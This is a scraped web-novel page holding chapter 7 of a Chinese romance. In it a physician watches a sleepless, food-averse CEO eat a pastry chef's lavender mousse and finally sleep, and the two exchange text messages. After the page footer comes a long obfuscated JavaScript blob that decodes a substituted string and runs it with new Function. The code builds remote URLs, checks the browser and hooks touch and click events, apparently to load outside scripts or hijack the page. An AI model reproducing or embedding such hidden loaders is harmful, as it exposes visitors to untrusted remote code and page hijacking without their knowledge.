首页
第7章 试吃现场
返回

第7章 试吃现场

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    林深是在一个阴天的下午被傅言之叫来的。
    电话是下午两点打来的,傅言之的声音跟平时没什么两样,冷淡、简短、惜字如金——“今天下午三点,来我办公室。”
    “干嘛?”林深正在诊所看病历,头都没抬。
    “有事。”
    “什么事?”
    “来了就知道了。”
    电话挂了。林深盯着手机屏幕看了三秒钟,叹了口气,开始收拾东西。他跟傅言之认识十二年,从大学时代到现在,早就习惯了这种说话方式。傅言之从来不会在电话里多说一个字,能用一句话说清楚的事绝对不会用两句,能说“来”就不会说“请你过来一下”。这不是傲慢,是他的出厂设置,改不了。
    林深开车到傅氏大厦的时候,差十分三点。他把车停在地下车库,坐电梯上四十一楼。走廊里静悄悄的,玻璃隔间里的员工都在埋头工作,没人抬头看他——他是这里的常客,每个月至少来两次,给傅言之做常规检查。
    “林医生。”傅言之的秘书小陈迎上来,“傅总在办公室等您。”
    “今天是什么情况?”林深一边走一边问,“他又失眠了?”
    小陈犹豫了一下,压低了声音:“不是失眠,是……吃东西。”
    林深停下脚步,以为自己听错了:“吃东西?”
    “嗯,这几天下午都有一个姑娘来送甜品,傅总都吃了。”小陈的表情很微妙,像是想笑又不敢笑,“今天好像是什么慕斯,傅总特意让我打电话请您来,说让您在旁边看着。”
    林深站在原地,消化了一下这个信息。傅言之吃东西了,还特意让他来看。这意味着什么?意味着傅言之吃的东西跟以前不一样,意味着傅言之的身体可能出现了某种需要监测的变化,意味着——傅言之自己也在意这个变化。
    林深加快了脚步。
    推开那扇深色木门的时候,林深看到傅言之正坐在沙发上,面前的茶几上摆着一个白色的蛋糕盒,盒子已经打开了,里面是一个淡紫色的慕斯,表面光滑得像一面镜子,旁边放着一小枝干薰衣草。
    “来了。”傅言之抬了抬下巴,示意他坐。
    林深在傅言之对面坐下,目光落在那块慕斯上。他虽然不是甜品专家,但也能看出来这东西做得很精致,不是流水线上的产品,是手工的,带着一种只有人手才能做出来的温度和质感。
    “谁做的?”林深问。
    “苏棠。”傅言之说这两个字的时候,语速比平时快了一点。
    林深注意到这个细节,但他没说什么,从包里拿出血压计和心率监测仪:“先量个血压。”
    傅言之伸出手臂,林深把袖带缠上去,开始充气。袖带鼓起来的时候,傅言之的目光一直落在茶几上的慕斯上,不是看,是盯着,像一只猫盯着鱼缸里的鱼。
    林深看了一眼血压计的读数:“收缩压118,舒张压76,正常。”然后他把心率监测仪的夹子夹在傅言之的手指上,屏幕上跳出一串数字,“心率72,也正常。你现在感觉怎么样?”
    “正常。”傅言之说。
    “我问的不是你的身体,是你的感觉。”林深把监测仪放在一边,靠在沙发上,双手交叉放在膝盖上,“你说你吃了东西,吃了什么?吃了多少?吃完之后有没有不舒服?”
    傅言之沉默了两秒,然后拿起慕斯勺,切了一小块,送进嘴里。
    林深看着他的动作,心里数着秒。一、二、三、四、五——傅言之咽下去了。没有皱眉,没有反胃的迹象,脸上的表情甚至可以说是……放松?
    “这是你吃的第几块?”林深问。
    “第四块。”傅言之说,“第一天柚子芝士,第二天柠檬蛋糕,第三天薰衣草慕斯,今天还是薰衣草慕斯。”
    林深在脑子里迅速过了一遍这些信息。连续四天,每天吃甜品,没有出现排斥反应。这对傅言之来说,不是进步,是奇迹。
    “什么味道?”林深问。
    傅言之又切了一块慕斯,送进嘴里,嚼了几下,咽下去。他的嘴角微微动了一下,不是笑,但接近笑。
    “好吃。”他说。
    林深盯着他的脸看了三秒钟,然后低下头,在笔记本上写了几行字——“患者连续四天摄入非日常食物,未出现排斥反应。自述食物‘好吃’,表情放松,心率平稳,血压正常。”
    他写到这里,抬起头,正好看到傅言之又切了一块慕斯。这一次,傅言之的动作比刚才更自然了,不再像前几次那样带着一种试探性的犹豫,而是直接、笃定、毫不迟疑地把慕斯送进嘴里。
    而且,他在笑。
    不是那种咧开嘴的大笑,是嘴角微微上扬,眼睛里有什么东西在发亮。那种笑很淡,淡到如果不仔细看根本不会注意到,但林深看了傅言之十二年,他了解这个男人——傅言之不是一个会笑的人。不是不想笑,是不会。他八岁那年母亲出车祸,他在医院守了三个月,不吃不喝,瘦了二十斤,从那以后他就把所有的情绪都关了起来,像关上了一扇门,再也没有打开过。
    但现在,那扇门开了一条缝。
    “言之。”林深放下笔,用一种很轻的语气说,“你吃东西的时候,在笑。”
    傅言之的动作顿了一下。他抬起头看着林深,脸上的表情迅速恢复成平时的冷淡,像一块被熨斗烫平的布,所有的褶皱都被压了下去。
    “没有。”他说。
    林深没说话,只是看着他。
    傅言之低下头,又切了一块慕斯。这一次,他吃得很慢,像是在刻意控制自己的表情。但林深注意到,他的嘴角还是微微翘着,怎么压都压不下去,像有什么东西从里面往外顶,关不住。
    “你刚才心率从72升到了78。”林深说。
    “吃东西心率上升是正常的。”傅言之头都没抬。
    “正常的升幅是五到十次,你只升了六次,确实在正常范围。”林深说,“但问题是你以前吃东西的时候心率是下降的,最低降到过五十二。你知道这意味着什么吗?”
    傅言之没说话。
    “意味着你的身体在排斥食物的时候,会进入一种‘节能模式’,心率下降,血压降低,所有的生理机能都在告诉你‘不要吃’。但现在,你的心率在上升,你的身体在告诉你‘可以吃’,甚至‘想吃’。”林深的声音很平静,像在陈述一个医学事实,“言之,这是一个很大的变化。”
    傅言之放下勺子,靠在沙发上,看着窗外。天空灰蒙蒙的,云层压得很低,远处的天际线模糊在雾气里。
    “她做的甜品,不一样。”他听到自己说。
    “哪里不一样?”
    傅言之想了想。这个问题他也在想,从第一天吃到草莓蛋糕的时候就在想,但一直想不出一个准确的答案。直到刚才,吃那块薰衣草慕斯的时候,他忽然有了一种感觉——那种感觉不是从味蕾传来的,是从更深的地方,从胃里,从血液里,从骨头缝里。
    “吃完之后,不难受。”傅言之说,“不是那种‘忍住了不吐’的不难受,是从头到尾都不难受。吃的时候舒服,咽下去之后也舒服,过了半个小时还是舒服。”
    林深在笔记本上飞快地记着。
    “而且。”傅言之顿了一下,“吃完之后会困。”
    “困?”
    “不是那种昏昏沉沉的困,是身体自己想睡的困。”傅言之说,“像有人在我脑子里按了一个开关,把所有的噪音都关了。”
    林深停下笔,看着傅言之。他是傅言之的医生,也是他的朋友,他知道傅言之的失眠有多严重。那不是普通的睡不着,是脑子里有一台永远关不掉的收音机,各种声音在里面嗡嗡地响,过去的、现在的、真实的、想象的,全都搅在一起,搅得他没法闭眼。
    “你能描述一下那种‘噪音’吗?”林深问。
    傅言之沉默了很久。林深以为他不会回答了,正准备换个话题,傅言之忽然开口了。
    “小时候的事。”他的声音很低,像是在跟自己说话,“我妈躺在病床上的样子,身上插满了管子,脸上没有血色,嘴唇是白的。我站在旁边,护士让我出去,我不肯,她们就把我抱出去。我坐在走廊的椅子上,等了一天又一天,不知道她会不会醒。”
    办公室里安静极了。中央空调的嗡嗡声在这一刻显得格外刺耳。
    “后来她醒了。”傅言之说,“但我还是睡不着。每天晚上一闭眼,就是那个画面。二十二年了,每天晚上。”
    林深张了张嘴,想说点什么,但发现自己的喉咙发紧。他认识傅言之十二年,这是傅言之第一次主动提起那段往事。以前他问过,傅言之不说,用沉默把他挡在外面。但现在,他主动说了,对着一个刚认识不到一周的甜品师做的慕斯,说了。
    “这个慕斯。”傅言之低头看着茶几上还剩一半的淡紫色甜点,“吃了之后,那些声音会变小。不是消失,是变小,小到我可以忽略它们。”
    林深深吸一口气,在笔记本上写了一行字——“甜品具有显著的镇静和放松效果,可能与特定食材的搭配有关,也可能与患者对甜品制作者的情感投射有关。”
    他写到最后几个字的时候,笔尖顿了一下。“情感投射”这个词用得太重了,但他想不出更合适的词。一个能让傅言之主动吃下去、吃完之后能睡着、吃了四天还没有产生排斥反应的东西,已经不能用“好吃”来解释了。
    “你见过那个甜品师了?”林深问。
    “见过。”
    “她是什么样的人?”
    傅言之没有立刻回答。他看着窗外灰蒙蒙的天空,嘴角又微微翘了起来——这一次,他没有试图压下去。
    “做甜品的时候很专注,不会注意到有人在看她。”他说,“说话的时候声音不大,但每一句都说到点子上。跟我谈合同的时候会紧张,但不会让步。该改的条款一条都不放过。”
    林深听着,嘴角忍不住往上扬。他跟傅言之认识十二年,从大学到现在,他见过傅言之跟无数人打交道的场面——跟投资人谈判的时候冷若冰霜,跟下属开会的时候雷厉风行,跟对手竞争的时候毫不留情。但他从来没见过傅言之用这种语气谈论一个人,不是评价,不是分析,是描述,是那种想把一个人看清楚、看仔细、不想漏掉任何一个细节的描述。
    “她对你有意思吗?”林深问。
    傅言之看了他一眼,那一眼里有种“你在问什么废话”的意思。
    “她看我的眼神。”傅言之说,“跟看别人不一样。”
    “哪里不一样?”
    “她会紧张。”傅言之说,“但不会躲。”
    林深在笔记本上又写了一行字——“双方存在双向吸引的可能性。”写完之后他觉得这行字应该被划掉,因为他是一个医生,不是情感顾问。但他没划,而是把笔记本合上,放回包里。
    “行了,身体指标没问题。”林深站起来,“明天继续吃,吃完再叫我。”
    傅言之点了点头,又切了一块慕斯送进嘴里。
    林深走到门口,忽然停下来,回过头看着傅言之:“言之。”
    “嗯?”
    “你刚才说‘她看你的眼神跟看别人不一样’。”林深说,“你看她的眼神,跟看别人也不一样。”
    门关上了。林深的脚步声在走廊里渐渐远去。
    傅言之坐在沙发上,手里还握着慕斯勺,看着茶几上最后一块慕斯发呆。
    林深最后一句话在他脑子里转来转去——“你看她的眼神,跟看别人也不一样。”
    哪里不一样?
    傅言之想了一会儿,发现自己想不出来。他不知道自己在看苏棠的时候是什么样的表情,因为他看不到自己的脸。但他记得苏棠每次来送蛋糕时的样子——第一天穿了白衬衫和深蓝色牛仔裤,第二天穿了白色毛衣,第三天还是那件白色毛衣,头发有时候扎起来有时候放下来,但不管怎么穿,她看起来都干干净净的,像刚从厨房里出来的样子,身上带着一股淡淡的黄油和奶油的味道。
    她每次来都会紧张。把蛋糕从盒子里拿出来的时候手指会微微发抖,把茶倒进杯子的时候会屏住呼吸,看到他吃第一口的时候会咬着下嘴唇,像一个等待考试成绩的小学生。但紧张归紧张,该说的话一句都不会少——“明天我做什么?”“你觉得酸度够不够?”“这一款可能有点甜,你要是不喜欢我下次减糖。”——每一句都是关于甜品的,没有一句多余的。
    傅言之把最后一块慕斯送进嘴里,慢慢嚼着。薰衣草的味道在舌尖上化开,淡淡的,温柔的,像某个人在耳边说了一句很轻的话,轻到听不清内容,但能感受到温度。
    他放下勺子,靠在沙发上,闭上眼睛。
    脑子里那些声音还在,但比平时小了很多。他听到林深说“心率72”,听到苏棠说“明天我做别的”,听到傅以沫说“她做的甜品你真的能吃”——这些声音混在一起,变成一种白噪音,像雨声,像风吹过树叶的声音,像远处有人在轻轻哼一首歌。
    傅言之不知道自己是什么时候睡着的。
    他只知道睁开眼的时候,窗外的天已经黑了,办公室里只亮着一盏落地灯,暖黄色的光在深灰色的地毯上画了一个半圆。他看了一眼手表——七点二十三分。
    他睡了将近两个小时。
    这两个小时里,他没有做梦。或者说,他做了梦但不记得了。不记得就是好的,因为他记得的每一个梦都是噩梦,都是八岁的自己在医院走廊里等母亲醒来的画面。
    傅言之坐起来,发现自己身上盖着一条毯子。他不记得自己什么时候拿的毯子,也不记得自己什么时候躺下的。他看了一眼茶几——蛋糕盒已经被收走了,茶杯也被收走了,茶几上干干净净的,只有那枝干薰衣草还躺在那里,紫色的花穗在灯光下泛着柔和的光。
    秘书小陈推门进来,看到傅言之醒了,松了一口气:“傅总,您总算醒了。苏小姐走的时候说您睡着了,让我们别吵您。我进来看了好几次,您都没醒,我还以为您……”
    “以为我怎么了?”傅言之的声音还带着刚睡醒的沙哑。
    “没什么没什么。”小陈赶紧摇头,“苏小姐走的时候留了一张纸条,放在您桌上了。”
    傅言之站起来,走到办公桌前。桌上放着一张淡蓝色的便利贴,上面写着一行字,字迹圆圆的,像小孩子写的,但每一个字都很工整。
    “茶壶里还有茶,醒了记得喝。别睡太久,不然晚上又睡不着了。——苏棠”
    傅言之看着这张纸条,嘴角又翘了起来。这一次,他没有压。
    他拿起茶壶,倒了一杯茶。茶已经凉了,柠檬香蜂草的味道比热的时候淡了一些,但多了一种清冽的凉意,像秋天的山泉水。他一口气喝完,放下杯子,拿起手机。
    傅言之:醒了。睡了两个小时。
    发出去之后,他盯着屏幕等了一会儿。不到一分钟,苏棠回了一条。
    苏棠:我不是让你别睡太久吗?晚上该睡不着了。
    傅言之:已经睡不着了。
    苏棠:……那你现在怎么办?
    傅言之:等你明天做新的。
    苏棠:明天做洋甘菊的,那个也助眠。
    傅言之:好。
    傅言之把手机放下,坐在办公椅上转了一圈。窗外的城市夜景尽收眼底,万家灯火,像一条流淌的星河。以前他看着这些灯光,只觉得孤独,觉得这个城市很大,但跟他没有关系。但今天不一样,今天他看着这些灯光,忽然想到苏棠也在其中的某一盏灯下面,也许在做蛋糕,也许在喝茶,也许在跟田晓聊天。
    他拿起手机,又发了一条。
    傅言之:你在干什么?
    这一次,苏棠回得慢了一些。大概过了两三分钟,她才回复。
    苏棠:在做明天的蛋糕底。你在干什么?
    傅言之:在想你做的慕斯。
    苏棠:好吃吗?
    傅言之:好吃。
    苏棠:那就好。我去忙了,你早点休息。
    傅言之:嗯。
    傅言之把手机放在桌上,靠进椅背里,看着窗外的夜景。他的嘴角还是翘着的,从吃第一口慕斯开始就翘着,到现在都没放下来。
    他想起了林深说的话——“你吃东西的时候居然在笑。”
    他说“没有”,但林深说的是对的。他确实在笑。不是因为慕斯有多好吃,是因为有人在为他做慕斯。有人在意他能不能睡着,有人在他睡着的时候给他盖上毯子,有人在便利贴上写“别睡太久,不然晚上又睡不着了”。
    这种感觉,他已经很久没有过了。
    傅言之把那张淡蓝色的便利贴从桌上拿起来,看了又看,然后把它夹在了桌上的笔记本里。
    明天,苏棠会来。
    明天,她会带一款洋甘菊的甜品。
    明天,他会在下午三点准时等她。
    傅言之关了灯,走出办公室。走廊里黑漆漆的,只有安全出口的指示灯亮着绿色的光。他走过那些空荡荡的玻璃隔间,走进电梯,按下地下车库的按钮。
    电梯下降的时候,他忽然想起一件事——苏棠今天穿的是什么颜色的衣服?
    白色。她穿了白色毛衣,跟昨天一样。
    傅言之走出电梯,坐进车里,发动引擎。迈巴赫在空旷的地下车库里发出低沉的轰鸣,像一只刚从冬眠中醒来的野兽。
    他开车回家,一路上都在想苏棠。想她做慕斯时的样子,想她倒茶时屏住呼吸的样子,想她写便利贴时认真专注的样子。
    到家后,傅言之洗了澡,躺在床上。床很大,大到他可以随意翻滚,但他只是躺在正中间,盯着天花板。
    脑子里又开始有声音了。八岁的自己站在医院走廊里,护士说“小朋友你不能进去”,母亲苍白的脸,仪器的滴滴声,消毒水的味道——所有的画面和声音都回来了,比平时更清晰,更响亮。
    傅言之闭上眼睛,深吸一口气。
    他想起苏棠的慕斯。淡紫色的,光滑的,带着薰衣草和柠檬香蜂草的味道。他想起第一口慕斯在舌尖上化开的感觉,想起胃里那种温暖的、踏实的感觉,想起闭眼之前脑子里那种安静的感觉。
    那些声音慢慢变小了。
    不是消失,是变小。小到他可以忽略,小到他可以假装听不见。
    傅言之翻了个身,把被子拉到下巴。他不知道自己是什么时候睡着的,但他知道,今天晚上,他又会梦到苏棠。
    梦到她站在厨房里,系着围裙,手里拿着打蛋器,头发散下来遮住了半张脸。她抬起头看着他,笑了一下,说:“你来了?”
    他想说“来了”,但张不开嘴。
    她在梦里笑了一下,转过身,继续做蛋糕。
    傅言之在梦里也笑了。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();